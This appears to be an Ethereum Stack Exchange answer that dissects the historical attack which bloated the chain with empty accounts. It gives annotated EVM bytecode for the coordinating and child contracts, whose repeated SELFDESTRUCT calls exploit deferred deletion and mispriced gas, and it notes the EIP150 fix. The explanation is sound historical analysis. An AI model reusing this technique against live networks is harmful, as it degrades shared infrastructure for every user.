9

I understand that SELFDESTRUCT and mispricing of opcodes allowed many empty accounts to be created cheaply as explained in Why were empty accounts allowed to be on the blockchain? The answer to that question also includes a transaction that created many empty accounts. How did that transaction/attack work? When a contract invokes SELFDESTRUCT, it can't SELFDESTRUCT again... or could it?

5

Ancient history, but here goes :-)

There was one coordinating contract for the initial attack. A later version had a more complex algorithm to generate the empty account addresses, presumably to try to frustrate any future clean-up effort. This one just incrementally worked through the address space.

Every time the coordinating contract was called - and it was called 4750 times - it did the following:

(1) Create a child contract.

0000 PUSH32 0x6004600c60003960046000f3600035ff00000000000000000000000000000000
0021 PUSH1 0x00
0023 MSTORE
0024 PUSH1 0x20
0026 PUSH1 0x00
0028 PUSH1 0x00
002a CREATE

This creates a single copy of the following child contract on a new address:

;; Child contract (in full)
PUSH1 0x00
CALLDATALOAD
SELFDESTRUCT

The code for this child contract is embedded in the first PUSH32 of the coordinating contract:

0000 PUSH32 0x6004600c60003960046000f3600035ff00000000000000000000000000000000

The first 12 bytes of this are the code for the constructor of the child contract; the next four bytes are the child contract code itself, as above.

(2) Load a counter from storage:

002b PUSH1 0x00
002d SLOAD
002e DUP1

This keeps track of the empty/bloat accounts being created and allows subsequent calls to the coordinating contract to continue from where the previous one left off.

(3) Loop over the rest of the contract: each loop iteration calls the child contract 40 times (i.e. the following code is duplicated 40 times)

0030 PUSH1 0x01
0032 ADD
0033 DUP1
0034 PUSH1 0x00
0036 MSTORE
0037 PUSH1 0x00
0039 DUP1
003a PUSH1 0x20
003c DUP2
003d DUP1
003e DUP8
003f PUSH1 0x06
0041 CALL
0042 POP

Here it is adding one to the counter, duplicating it, putting one copy back into memory and then calling the child contract with the other copy of the counter as the call data.

The child contract interprets the data it is sent (the counter) as an address, and it when it SELFDESTRUCTs it sends its (zero) value to that address creating an empty bloat account.

The key point here is that the child contract doesn't actually self-destruct until the end of the execution of the current transaction, so it is able to be called many times over within the one transaction. The description in the yellow paper is "Halt execution and register account for later deletion" (emphasis mine); it will be deleted at the termination of the current transaction. It is sufficient for the child contract to be recreated only on each invocation of the coordinating contract; it can then be called many times from within it.

(4) Check remaining gas, and if there is sufficient then go back and loop over all forty calls again, continuing to increment the address counter.

0328 GAS
0329 PUSH2 0x6000
032c LT
032d PUSH3 0x00002f
0331 JUMPI

Thus, each call to the coordinating contract was able to create thousands of bloat accounts, depending on the amount of gas initially supplied.

(5) Finally, store the address counter ready for the next invocation.

0332 PUSH1 0x00
0334 SSTORE

The problem was, of course, that creating an account via SELFDESTRUCT did not use nearly as much gas as it ought to have done. This was addressed in EIP150: long-term gas cost changes.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.